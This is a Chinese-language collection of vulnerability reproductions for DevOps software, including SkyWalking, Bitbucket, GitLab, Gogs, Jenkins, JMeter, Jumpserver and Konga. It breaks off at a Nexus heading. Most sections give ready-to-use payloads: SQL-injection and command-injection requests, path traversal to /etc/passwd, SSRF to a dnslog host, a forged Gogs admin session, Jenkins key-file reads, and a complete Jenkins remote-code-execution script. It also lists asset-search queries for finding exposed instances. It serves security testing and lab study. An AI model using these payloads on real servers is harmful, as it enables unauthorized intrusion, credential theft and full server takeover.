DevOps工具漏洞


IP签名

DevOps

Apache-SkyWalking

CVE-2020-9483

Apache SkyWalking graphql SQL注入漏洞

漏洞描述

腾讯安全威胁情报中心监测到Apache SkyWalking发布更新,修复了一个SQL注入漏洞(编号:CVE-2020-9483)。远程攻击者可通过Apache SkyWalking默认开放的未授权GraphQL接口构造恶意请求包进行注入攻击,成功利用此漏洞可造成敏感数据泄漏。该漏洞等级为高危,腾讯安全专家建议相关企业尽快修复。

漏洞影响

Apache SkyWalking 6.0.0~6.6.0

Apache SkyWalking 7.0.0

环境搭建

https://archive.apache.org/dist/skywalking/6.5.0/apache-skywalking-apm-6.5.0.tar.gz

https://archive.apache.org/dist/skywalking/8.3.0/apache-skywalking-apm-6.5.0-src.tgz

漏洞复现

下载编译好的源码后,进入bin目录,修改 oapService.sh 通过IDEA进行远程调试

for i in "$OAP_HOME"/oap-libs/*.jar
do
    CLASSPATH="$i:$CLASSPATH"
done

OAP_OPTIONS=" -Doap.logDir=${OAP_LOG_DIR}"

eval exec "\"$_RUNJAVA\" ${JAVA_OPTS} ${OAP_OPTIONS} -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 -classpath $CLASSPATH org.apache.skywalking.oap.server.starter.OAPServerStartUp \
        2>${OAP_LOG_DIR}/oap.log 1> /dev/null &"

if [ $? -eq 0 ]; then
    sleep 1
	echo "SkyWalking OAP started successfully!"
else
	echo "SkyWalking OAP started failure!"
	exit 1

配置IDEA JVM Debugimg

查看CVE的修复commit寻找修复的地方

img

打下断点并发送Payload请求包

POST /graphql HTTP/1.1
Host:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cache-Control: max-age=0
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 416

{
    "query": "query queryData($duration: Duration!) {globalP99: getLinearIntValues(metric: {name: \"all_p99\", id: \"') UNION ALL SELECT NULL,CONCAT('~', H2VERSION(), '~')--\" }, duration: $duration) {  values { value } }}",
    "variables": {
        "duration": {
            "end": "2020-08-07 1418",
            "start": "2020-08-07 1417",
            "step": "MINUTE"
        }
    }
}

img

在 org.apache.skywalking.oap.query.graphql.resolver 中我们可以看到参数 metrics.getId() 没有过滤就直接传入 getLinearIntValues

img

跟随来到 org.apache.skywalking.oap.server.core.query.MetricQueryService.getLinearIntValues(MetricQueryService.java:96)

img

来到 org.apache.skywalking.oap.server.storage.plugin.jdbc.h2.dao.H2MetricsQueryDAO.getLinearIntValues(H2MetricsQueryDAO.java:117),这里就将拼接的语句带入数据库进行查询,造成SQL注入

img

调用栈如下

getLinearIntValues:117, H2MetricsQueryDAO (org.apache.skywalking.oap.server.storage.plugin.jdbc.h2.dao)
getLinearIntValues:96, MetricQueryService (org.apache.skywalking.oap.server.core.query)
getLinearIntValues:60, MetricQuery (org.apache.skywalking.oap.query.graphql.resolver)
execute:87, GraphQLQueryHandler (org.apache.skywalking.oap.query.graphql)
doPost:81, GraphQLQueryHandler (org.apache.skywalking.oap.query.graphql)
doPost:54, JettyJsonHandler (org.apache.skywalking.oap.server.library.server.jetty)
service:101, JettyJsonHandler (org.apache.skywalking.oap.server.library.server.jetty)
service:105, JettyJsonHandler (org.apache.skywalking.oap.server.library.server.jetty)

Atlassian

Atlassian Bitbucket archive 远程命令执行漏洞 CVE-2022-36804

漏洞描述

Atlassian 发布安全公告,披露了 Bitbucket Server 和 Data Center 在 7.0.0 版中引入了一个严重安全漏洞。

Bitbucket 是 Atlassian 公司提供的一个基于 web 的版本库托管服务,支持 Mercurial 和 Git 版本控制系统。支持私有化部署,根据国内某资产测绘平台数据显示,近一年全球有超过 1w+ 相关服务对外开放。

官方漏洞公告中描述 Bitbucket Server 和 Data Center 多个 API 端点存在命令注入漏洞,漏洞触发条件是攻击者具备公开项目的访问权限或者私有项目的可读权限,影响版本从 7.0 到 8.3

漏洞影响

Atlassian Bitbucket 7.0~8.3

网络测绘

app=”ATLASSIAN-Bitbucket”

漏洞复现

登录页面

img

验证POC

/rest/api/latest/projects/BIZEE/repos/bizee-communication-api/archive?filename=wN3Am&at=wN3Am&path=wN3Am&prefix=ax%00--exec=%60id%60%00--remote=origin

image-20240811100119568

Bitbucket

Bitbucket 登录绕过漏洞

漏洞描述

此错误已修复并部署在 Bitbucket Server > 4.8 上。Bitbucket 由 Atlassian 团队开发。其中出现了一个通过 %20 绕过权限的漏洞,导致任意用户可获取敏感数据

漏洞影响

Bitbucket Server > 4.8

网络测绘

title=”Log in - Bitbucket”

漏洞复现

登录页面

img

验证POC

/admin%20/mail-server
/admin%20/db
/admin%20/db/edit
/admin%20/license
/admin%20/logging
/admin%20/server-settings
/admin%20/authentication
/admin%20/avatars

image-20240811101640243

celery

3.1.23

Celery <4.0 Redis未授权访问+Pickle反序列化利用

Celery 是一个简单、灵活且可靠的分布式系统,用于处理大量消息,同时为操作提供维护此类系统所需的工具。它是一个专注于实时处理的任务队列,同时也支持任务调度。

在Celery < 4.0版本默认使用Pickle进行任务消息的序列化传递,当所用队列服务(比如Redis、RabbitMQ、RocketMQ等等等)存在未授权访问问题时,可利用Pickle反序列化漏洞执行任意代码。

漏洞环境

执行如下命令启动Celery 3.1.23 + Redis:

docker compose up -d

漏洞复现

漏洞利用脚本exploit.py仅支持在python3下使用

pip install redis
python exploit.py [主机IP]

查看结果:

docker compose logs celery

可以看到如下任务消息报错:

docker compose exec celery ls -l /tmp

可以看到成功创建了文件celery_success

参考

https://docs.celeryproject.org/en/stable/userguide/configuration.html

https://www.bookstack.cn/read/celery-3.1.7-zh/8d5b10e3439dbe1f.md#dhfmrk

https://docs.celeryproject.org/en/stable/userguide/calling.html#serializers

https://www.jianshu.com/p/52552c075bc0

https://www.runoob.com/w3cnote/python-redis-intro.html

https://blog.csdn.net/SKI_12/article/details/85015803

Dapr

Dapr Dashboard configurations 未授权访问漏洞 CVE-2022-38817

漏洞描述

Dapr Dashboard 存在 未授权访问漏洞,在未经授权的情况下获取云上redis、mongodb、rabbitmq等应用的明文配置信息,并可以进一步利用这些配置信息获取云上的敏感数据

漏洞影响

Dapr Dashboard

网络测绘

“Dapr Dashboard”

漏洞复现

主页面

img

验证POC

/configurations

imgimage-20240811103423549

GoCD

CVE-2021-43287

GoCD plugin 任意文件读取漏洞

漏洞描述

GoCD plugin aip 参数中的 pluginName 参数存在任意文件读取漏洞,导致攻击者可以获取服务器中的任意敏感信息

漏洞影响

GoCD

网络测绘

title=”Create a pipeline - Go”

漏洞复现

主页面

img

验证POC

/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd

image-20240814100646873

git

CVE-2017-8386

GIT-SHELL 沙盒绕过(CVE-2017-8386)

GIT-SHELL 沙盒绕过(CVE-2017-8386)导致任意文件读取、可能的任意命令执行漏洞。

参考链接:

测试环境

编译及运行测试环境:

docker compose up -d

为了不和docker母机的ssh端口冲突,我将容器的ssh端口设置成3322。本目录下我生成了一个id_rsa,这是ssh的私钥,连接的时候请指定之。

在连接以前,需要先设置私钥的权限为0600:chmod 0600 id_rsa,否则连接可能失败。

正常连接其ssh服务ssh -p 3322 -i id_rsa git@127.0.0.1,会被git-shell给拦截,返回错误fatal: unrecognized command '',并且连接被关闭。

使用–help技巧,连接目标并进入帮助页面:

ssh -p 3322 -i id_rsa -t git@127.0.0.1 "git-upload-archive '--help'"

shift+e,读取任意文件:

回到帮助页面,输入!id执行命令:

image-20240805155921550

(为什么是www-data用户?因为git用户和www-data用户编号都是33,所以其实他们是一个用户)

原理

基于ssh协议的git拉取流程

git-shell是git服务中重要的组成部分,众所周知,git服务支持ssh、git、https三种协议来传递项目,其中ssh是最安全,也最方便的一种方式。

我们随便打开Github上一个项目,找到Clone with SSH里列出的地址:git@github.com:phith0n/vulhub.git,其实这个url就是告诉git,ssh用户名是git,地址是github.com(默认端口是22),该项目位于phith0n/vulhub.git这个目录下;然后git就通过ssh协议连接上github.com,并将对应目录下的项目拉取下来。

所以,基于ssh协议的git clone等操作,本质上就是通过ssh协议连接上git服务器,并将指定目录拉取下来的过程。

那么,既然这个过程是个ssh交互的过程,那么我直接执行ssh git@github.com是不是就可以登录github服务器了呢?显然是不行的,你可以试试:

说“不行”其实也有偏差,实际上我确实是连接上了其ssh服务,并验证身份通过了,但他给了我一段提示信息“Hi phith0n! You’ve successfully authenticated, but GitHub does not provide shell access.”,就把我的连接关了。

所以,正常来说,基于ssh的git拉取过程对于git服务器是安全的。

关于如何搭建一个git服务器,可以参考这篇文章

如何禁止git用户执行系统shell

那么,github这类git服务商是怎么实现上述“安全”通信的流程的呢?

让用户可以通过ssh认证身份,但又不给用户shell,这个过程有两种方法实现:

  1. 创建系统用户git的时候将其shell设置成git-shell
  2. 在authorized_keys文件每个ssh-key的前面设置command,覆盖或劫持重写原本的命令

第一种方法比较直观,就是创建用户的时候不给其正常的bash或sh的shell,而是给它一个git-shell。git-shell是一个沙盒环境,在git-shell下,只允许执行沙盒内包含的命令。

第二种方法不仅在git服务器上使用,很多Linux发行版也会用到。比如aws,默认安装后是不允许root登录的,实现方法就是在/root/.ssh/authorized_keys中设置command="echo 'Please login as the user \"ec2-user\" rather than the user \"root\".';echo;sleep 10"。这句话相当于覆盖了原本执行的shell,变成了echo一段文字。

当然,第二种方法内也可以用git-shell,比如在添加git用户的时候赋予其正常的/bin/bash,但在authorized_keys中设置command="git-shell -c \"$SSH_ORIGINAL_COMMAND\"",实际上还是使用了git-shell。

git-shell 沙盒绕过漏洞(CVE-2017-8386)

git-shell是一个可以限制用户执行命令的shell,如果我们在git用户家目录下创建一个新目录,叫git-shell-commands,然后将你允许用户执行的命令放在这个目录下,这就创建好了一个沙盒。在git-shell中,只能执行/home/git/git-shell-commands目录下的命令。

如果系统是没有git-shell-commands目录,那么git-shell默认只允许执行如下三个命令:

  • git-receive-pack <argument>
  • git-upload-pack <argument>
  • git-upload-archive <argument>

这就是白名单。

但CVE-2017-8386的作者发现,执行git-upload-archive --help(或git-receive-pack --help),将会进入一个交互式的man页面,man又调用了less命令,最后是一个可以上下翻页的帮助文档。

本来这也没什么,但是,less命令有一个特性,就是其支持一些交互式的方法。比如在less页面中,按shift+e可以打开Examine功能,通过这个功能可以读取任意文件;输入!id就可以执行id这个命令。

可以随便找台linux计算机试一下,执行less /etc/passwd来到less的页面,然后在英文输入法下输入!id,就可以执行id命令:

所以,利用这个特性,我们就可以绕过git-shell的沙盒读取任意文件,或执行任意命令了!

我们可以先试试,在Linux下直接执行git-receive-pack --help,再输入!id,看到的效果和上图是类似的。

evi1cg大佬的博客中有动图,看的更直观。

通过ssh进行利用

那么,如何远程利用这个漏洞?

我们前面试了,直接ssh git@gitserver只能拿到git-shell(或返回一段提醒文字),我们就利用上一节里提到的沙盒绕过漏洞执行命令:

ssh -p 3322 -i id_rsa -t git@127.0.0.1 "git-upload-archive '--help'"

进入帮助页面,然后按shift+e或!id即可。

一些限制

我前文说了,一般配置git用户,不让ssh拥有shell,有两种方法:一是创建用户的时候设置其shell为/usr/bin/git-shell,二是在authorized_keys中覆盖command。

如果目标服务器使用了第一种方法,我们即使成功执行了git-upload-archive '--help'进入帮助页面,也不能执行命令。因为!id还是在git-shell下执行,git-shell中没有id命令,所以依旧执行不成功。

但读取文件是一定可以的,因为读取文件不是通过命令读取的,所以不受git-shell沙盒的影响。

如果目标服务器是用第二种方法配置的git-shell,比如我这里这个测试环境,我是在/etc/passwd文件设置git用户的shell是bash,而在authorized_keys中覆盖command,执行git-shell。

这种情况下,如果我进入了帮助页面,输入!id是可以成功执行id命令的,因为此时id是在bash下执行的,而不是在git-shell下执行的,所以没有沙盒限制。

总的来说,这个漏洞至少能做到任意文件读取,有可能可以执行任意命令。

CVE-2020-27955

Git-LFS 远程命令执行漏洞

Git LFS 是 Github 开发的一个 Git 的扩展,用于实现 Git 对大文件的支持

一些受影响的产品包括Git,GitHub CLI,GitHub Desktop,Visual Studio,GitKraden,SmartGit,Sourcetree等

该漏洞影响仅windows平台

漏洞影响

Git-LFS(git-lfs)<= 2.12

漏洞复现

运行下列的命令,如果版本在影响范围则会弹出计算器

git clone https://github.com/r00t4dm/CVE-2020-27955

image-20220309231632831

image-20220309231644188

漏洞POC

https://github.com/r00t4dm/CVE-2020-27955

gitea

1.4-rce

Gitea 1.4.0 目录穿越导致命令执行漏洞

Gitea是从gogs衍生出的一个开源项目,是一个类似于Github、Gitlab的多用户Git仓库管理平台。其1.4.0版本中有一处逻辑错误,导致未授权用户可以穿越目录,读写任意文件,最终导致执行任意命令。

参考链接:

漏洞环境

执行如下命令启动启动漏洞环境:

docker compose up -d

环境启动后,访问http://you-ip:3000,将进入安装页面,填写管理员账号密码,并修改网站URL,其他的用默认配置安装即可。(不要修改端口号)

安装完成后,创建一个公开的仓库,随便添加点文件进去(比如使用选定的文件和模板初始化仓库):

然后,需要执行一次docker compose restart重启gitea服务。(原因详见第二个参考链接)

漏洞复现

由于漏洞链整体利用比较复杂,我们只复现文件读取部分,剩余利用方法详见第二个参考链接。

打开gitea,找到刚才创建的公开项目,如vulhub/repo,发送如下数据包,添加一个Git LFS对象:

POST /vulhub/repo.git/info/lfs/objects HTTP/1.1
Host: your-ip:3000
Accept-Encoding: gzip, deflate
Accept: application/vnd.git-lfs+json
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 151

{
    "Oid": "....../../../etc/passwd",
    "Size": 1000000,
    "User" : "a",
    "Password" : "a",
    "Repo" : "a",
    "Authorization" : "a"
}

然后,访问http://your-ip:3000/vulhub/repo.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sth,即可看到/etc/passwd已被成功读取:

image-20240805160012585

gitlab

CVE-2016-9086

GitLab 任意文件读取漏洞(CVE-2016-9086)

GitLab是一款Ruby开发的Git项目管理平台。在8.9版本后添加的“导出、导入项目”功能,因为没有处理好压缩包中的软连接,已登录用户可以利用这个功能读取服务器上的任意文件。

参考链接:

测试环境

执行如下命令启动一个GitLab Community Server 8.13.1:

docker compose up -d

环境运行后,访问http://your-ip:8080即可查看GitLab主页,其ssh端口为10022,默认管理员账号、密码是rootvulhub123456

注意,请使用2G及以上内存的VPS或虚拟机运行该环境,实测1G内存的机器无法正常运行GitLab(运行后502错误)。

漏洞复现

注册并登录用户,新建一个项目,点击GitLab export

在导入页面,将test.tar.gz上传,将会读取到/etc/passwd文件内容:

image-20240805160049271

CVE-2020-26413

GitLab Graphql邮箱信息泄露漏洞

漏洞描述

GitLab中存在Graphql接口 输入构造的数据时会泄露用户邮箱和用户名

漏洞影响

GitLab 13.4 - 13.6.2

网络测绘

title=”GitLab”

漏洞复现

漏洞来源为 hackone上的一篇公开报告


img

意思为当使用构造的语句在接口查询时会返回邮箱信息,如图


img

Gitlab本身不允许获取账号邮箱信息,这里通过调用 Graphql 用户名查询造成了邮箱泄露漏洞

查看完报告后发现漏洞利用需要有账号用户名,在不知道的情况下无法获取邮箱,在Graphql官网查看得知可以通过另一个构造的语句一次性返回所有的用户名和邮箱

img

发包调用了 /api/graphql 接口发送数据

完整数据包为

POST /api/graphql HTTP/1.1
Host:
Content-Length: 212
Content-Type: application/json


{"query":"{\nusers {\nedges {\n  node {\n    username\n    email\n    avatarUrl\n    status {\n      emoji\n      message\n      messageHtml\n     }\n    }\n   }\n  }\n }","variables":null,"operationName":null}

img

成功返回数据,造成 Gitlab的用户邮箱信息泄露

CVE-2021-22205

GitLab 远程命令执行漏洞(CVE-2021-22205)

GitLab是一款Ruby开发的Git项目管理平台。在11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行任意命令。

参考链接:

漏洞环境

执行如下命令启动一个GitLab 13.10.1版本服务器:

docker compose up -d

环境启动后,访问http://your-ip:8080即可查看到GitLab的登录页面。

漏洞复现

GitLab的/uploads/user接口可以上传图片且无需认证,利用poc.py脚本来测试这个漏洞:

python poc.py http://your-ip:8080 "touch /tmp/success"

进入容器内,可见touch /tmp/success已成功执行:

image-20240805160117664

CVE-2021-22214

GitLab SSRF漏洞

漏洞描述

GitLab存在前台未授权SSRF漏洞,未授权的攻击者也可以利用该漏洞执行SSRF攻击(CVE-2021-22214)。该漏洞源于对用户提供数据的验证不足,远程攻击者可通过发送特殊构造的 HTTP 请求,欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。

漏洞影响

Gitlab > 10.5

网络测绘

app=”GitLab”

环境搭建


img

漏洞复现

登录页面如下

img

发送请求包

POST /api/v4/ci/lint HTTP/1.1
Host: 
User-Agent: python-requests/2.25.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 111

{"include_merged_yaml": true, "content": "include:\n  remote: http://965qaw.dnslog.cn/api/v1/targets?test.yml"}

image-20240811110842795

gogs

CVE-2018-18925

Gogs 任意用户登录漏洞(CVE-2018-18925)

gogs是一款极易搭建的自助Git服务平台,具有易安装、跨平台、轻量级等特点,使用者众多。

其0.11.66及以前版本中,(go-macaron/session库)没有对sessionid进行校验,攻击者利用恶意sessionid即可读取任意文件,通过控制文件内容来控制session内容,进而登录任意账户。

参考链接:

环境启动

执行如下命令启动gogs:

docker compose up -d

环境启动后,访问http://your-ip:3000,即可看到安装页面。安装时选择sqlite数据库,并开启注册功能。

安装完成后,需要重启服务:docker compose restart,否则session是存储在内存中的。

漏洞利用

使用Gob序列化生成session文件:

package main

import (
    "bytes"
    "encoding/gob"
    "encoding/hex"
    "fmt"
    "io/ioutil"
    "os"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    err = ioutil.WriteFile("data", data, os.O_CREATE|os.O_WRONLY)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}

然后注册一个普通用户账户,创建项目,并在“版本发布”页面上传刚生成的session文件:

通过这个附件的URL,得知这个文件的文件名:./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10

然后,构造Cookie:i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10,访问即可发现已经成功登录id=1的用户(即管理员):

完整的利用过程与原理,可以阅读参考链接中的文章。

jenkins

CVE-2017-1000353

Jenkins-CI 远程代码执行漏洞(CVE-2017-1000353)

原理

参考阅读 https://blogs.securiteam.com/index.php/archives/3171

漏洞影响

Jenkins

网络测绘

app="Jenkins"

环境搭建

执行如下命令启动jenkins 2.46.1:

docker compose up -d

等待完全启动成功后,访问http://your-ip:8080即可看到jenkins已成功运行,无需手工安装。

测试过程

步骤一、生成序列化字符串

参考https://github.com/vulhub/CVE-2017-1000353,首先下载CVE-2017-1000353-1.1-SNAPSHOT-all.jar,这是生成POC的工具。

执行下面命令,生成字节码文件:

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
# jenkins_poc.ser是生成的字节码文件名
# "touch ..."是待执行的任意命令

执行上述代码后,生成jenkins_poc.ser文件,这就是序列化字符串。

步骤二、发送数据包,执行命令

下载exploit.py,python3执行python exploit.py http://your-ip:8080 jenkins_poc.ser,将刚才生成的字节码文件发送给目标:

进入docker,发现/tmp/success成功被创建,说明命令执行漏洞利用成功:

image-20240805155237241

CVE-2018-1000861

Jenkins远程命令执行漏洞(CVE-2018-1000861)

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

参考链接:

漏洞影响

Jenkins version < 2.138

Jenkins build time < 2019-01-28

网络测绘

app="Jenkins"

环境搭建

执行如下命令启动一个Jenkins 2.138,包含漏洞的插件也已经安装:

docker compose up -d

环境启动后,访问http://your-ip:8080即可看到一个已经成功初始化的Jenkins,无需再进行任何操作。

漏洞复现

使用 @orangetw 给出的一键化POC脚本,发送如下请求即可成功执行命令:

http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
  public x(){
    "touch /tmp/success".execute()
  }
}

/tmp/success已成功创建:

image-20240805155755288

登录页面

img

使用 EXP 执行命令

http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
  public x(){
    "touch /tmp/success".execute()
  }

img

漏洞POC


#!/usr/bin/python
# coding: UTF-8
# author: Orange Tsai(@orange_8361)
# 

import sys
import requests
from enum import Enum

# remove bad SSL warnings
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass


endpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'

class mode(Enum):
    ACL_PATCHED = 0
    NOT_JENKINS = 1
    READ_ENABLE = 2
    READ_BYPASS = 3
    ENTRY_NOTFOUND = 999

def usage():
    print '''
  Usage:
    python exp.py <url> <cmd>
    '''

def _log(msg, fail=False):
    nb = '[*]'
    if fail:
        nb = '[-]'
    print '%s %s' % (nb, msg)

def _get(url, params=None):
    r = requests.get(url, verify=False, params=params)
    return r.status_code, r.content

def _add_bypass(url):
    return url + 'securityRealm/user/admin/'

def check(url):
    flag, accessible = mode.ACL_PATCHED, False

    # check ANONYMOUS_READ
    status, content = _get(url)
    if status == 200 and 'adjuncts' in content:
        flag, accessible = mode.READ_ENABLE, True
        _log('ANONYMOUS_READ enable!')
    elif status == 403:
        _log('ANONYMOUS_READ disable!')

        # check ACL bypass, CVE-2018-1000861
        status, content = _get(_add_bypass(url))
        if status == 200 and 'adjuncts' in content:
            flag, accessible = mode.READ_BYPASS, True
    else:
        flag = mode.NOT_JENKINS

    # check entry point, CVE-2019-1003005
    if accessible:
        if flag is mode.READ_BYPASS:
            url = _add_bypass(url)
        status, content = _get(url + endpoint)

        if status == 404:
            flag = mode.ENTRY_NOTFOUND

    return flag

def exploit(url, cmd):
    payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex')
    params = {
        'sandbox': True, 
        'value': payload
    }

    status, content = _get(url + endpoint, params)
    if status == 200:
        _log('Exploit success!(it should be :P)')
    elif status == 405:
        _log('It seems Jenkins has patched the RCE gadget :(')
    else:
        _log('Exploit fail with HTTP status [%d]' % status, fail=True)
        if 'stack trace' in content:
            for _ in content.splitlines():
                if _.startswith('Caused:'):
                    _log(_, fail=True)

if __name__ == '__main__':
    if len(sys.argv) != 3:
        usage()
        exit()

    url = sys.argv[1].rstrip('/') + '/'
    cmd = sys.argv[2]

    flag = check(url)
    if flag is mode.ACL_PATCHED:
        _log('It seems Jenkins is up-to-date(>2.137) :(', fail=True)
    elif flag is mode.NOT_JENKINS:
        _log('Is this Jenkins?', fail=True)
    elif flag is mode.READ_ENABLE:
        exploit(url, cmd)
    elif flag is mode.READ_BYPASS:
        _log('Bypass with CVE-2018-1000861!')
        exploit(_add_bypass(url), cmd)
    else:
        _log('The `checkScript` is not found, please try other entries(see refs)', fail=True)

CVE-2024-23897

Jenkins CLI 接口任意文件读取漏洞(CVE-2024-23897)

Jenkins是一个开源的自动化服务器。

Jenkins使用args4j来解析命令行输入,并支持通过HTTP、Websocket等协议远程传入命令行参数。args4j中用户可以通过@字符来加载任意文件,这导致攻击者可以通过该特性来读取服务器上的任意文件。

该漏洞影响Jenkins 2.441及以前的版本。

参考链接:

漏洞环境

执行如下命令启动一个Jenkins server 2.441:

docker compose up -d

服务启动后,访问http://your-ip:8080/即可查看到Jenkins登录页面,默认的管理员帐号密码为adminvulhub

漏洞复现

利用该漏洞可以直接使用官方提供的命令行客户端,在http://localhost:8080/jnlpJars/jenkins-cli.jar下载。

使用该工具读取目标服务器的/proc/self/environ文件,可以找到Jenkins的基础目录,JENKINS_HOME=/var/jenkins_home

java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/proc/self/environ"

然后,可在该目录下读取敏感文件,如secrets.key or master.key(匿名情况下,只能通过命令行的报错读取文件的第一行):

java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secret.key"

java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secrets/master.key"

因为开启了“匿名用户可读”选项,你也可以直接使用connect-node命令读取完整文件内容:

java -jar jenkins-cli.jar -s http://localhost:8080/ -http connect-node "@/etc/passwd"

image-20240805155827079

Jenkins script 远程命令执行漏洞

漏洞描述

Jenkins 登录后访问 /script 页面,其中存在命令执行漏洞,当存在未授权的情况时导致服务器被入侵

漏洞影响

Jenkins

网络测绘

app="Jenkins"

漏洞复现

账号密码存在于:

Linux: /var/lib/jenkins/secrets/initialAdminPassword
Windows: C:\Users\RabbitMask\.jenkins\secrets\initialAdminPassword

登录后台,或在未授权的情况下访问

http://xxx.xxx.xxx.xxx/script

在脚本命命令模块执行系统命令

println 'cat /etc/passwd'.execute().text

image-20240814101955845

jmeter

CVE-2018-1297

Apache JMeter RMI 反序列化命令执行漏洞(CVE-2018-1297)

Apache JMeter是美国阿帕奇(Apache)软件基金会的一套使用Java语言编写的用于压力测试和性能测试的开源软件。其2.x版本和3.x版本中存在反序列化漏洞,攻击者可以利用该漏洞在目标服务器上执行任意命令。

漏洞环境

运行漏洞环境:

docker compose up -d

运行完成后,将启动一个RMI服务并监听1099端口。

漏洞复现

直接使用ysoserial即可进行利用:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 BeanShell1 'touch /tmp/success'

我们使用的是BeanShell1这条利用链。使用docker compose exec jmeter bash进入容器,可见/tmp/success已成功创建:

反弹shell:

image-20240805162054693

jumpserver

CVE-2023-42820

Jumpserver随机数种子泄露导致账户劫持漏洞(CVE-2023-42820)

Jumpserver是一个开源堡垒机系统。在其3.6.4及以下版本中,存在一处账户接管漏洞。攻击者通过第三方库django-simple-captcha泄露的随机数种子推算出找回密码时的用户Token,最终修改用户密码。

参考链接:

漏洞环境

启动环境前,修改config.envDOMAINS的值为你的IP和端口,如DOMAINS=your-ip:8080

然后执行如下命令启动一个Jumpserver 3.6.3 的服务器:

docker compose up -d

启动服务需要等待一段时间,之后访问http://your-ip:8080即可查看到Jumpserver的登录页面。我们使用admin作为账号及密码即可登录,第一次登录管理员账号需要修改密码。

漏洞复现

我编写了一个非常简单的半自动化脚本来复现这个漏洞。由于是半自动化,严格按照如下步骤方可正确复现。

首先,在浏览器第一个Tab中打开忘记密码页面:http://your-ip:8080/core/auth/password/forget/previewing/,此时页面上将有一个验证码。

  • 如果验证码中包含数字10,则请刷新验证码,因为我们的脚本暂时无法处理数字10
  • 如果验证码中不包含数字10,则右键菜单中将该验证码在新Tab下打开

新Tab中验证码的URL类似于http://your-ip:8080/core/auth/captcha/image/87b2723d404657c2294abfab908975ebb9da5468/,其中包含该验证码的key(一串sha1 hash值),也就是后面伪随机数使用的种子,记录下这个值作为seed

返回第一个Tab,刷新页面。刷新页面的目的是,不使用包含“种子”的验证码,因为这个种子将在后续步骤中使用到。

刷新页面后正确填写用户名和验证码后提交,跳转到验证码验证页面。此时这个页面的URL类似于http://localhost:8080/core/auth/password/forgot/?token=sceOx7yWuAH9wWcuzc0nMQmLBzEPNhkhuTfl,其中包含一个随机的token值,记录下这个值作为token

执行我们的脚本

python poc.py -t http://localhost:8080 --email admin@mycomany.com --seed [seed] --token [token]

这个脚本需要传入4个参数:

  • -t 指定目标Jumpserver服务器地址
  • --email 指定待劫持用户的邮箱地址
  • --seed 前面记下来的随机数种子(seed
  • --token 前面记下来的token值(token

脚本执行后,将输出预测的code值:

回到浏览器中,输入该code提交,即可来到修改新密码页面,修改密码即可。

完整的复现过程请参考如下gif:

2

Konga

Konga 普通用户越权获取管理员权限漏洞

漏洞描述

Konga 普通用户通过发送特殊的请求可越权获取管理员权限

漏洞影响

Konga

网络测绘

“konga”

漏洞复现

登录页面

img

创建非管理员用户后登录并获取token

img

发送请求包, 将token修改为刚刚获取的

PUT /api/user/7 HTTP/1.1
Host: 127.0.0.1:1337
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json;charset=utf-8
Content-Length: 241

{
  "admin": true,
  "passports": {
    "password": "1234abcd",
    "protocol": "local"
  },
  "password_confirmation": "1234abcd",
  "token": "non-administrator user token"
}

img

成功转为管理员用户

image-20240811164409511

Nexus

CVE-2019-7238

Nexus Repository Manger extdirect 远程命令执行

漏洞描述

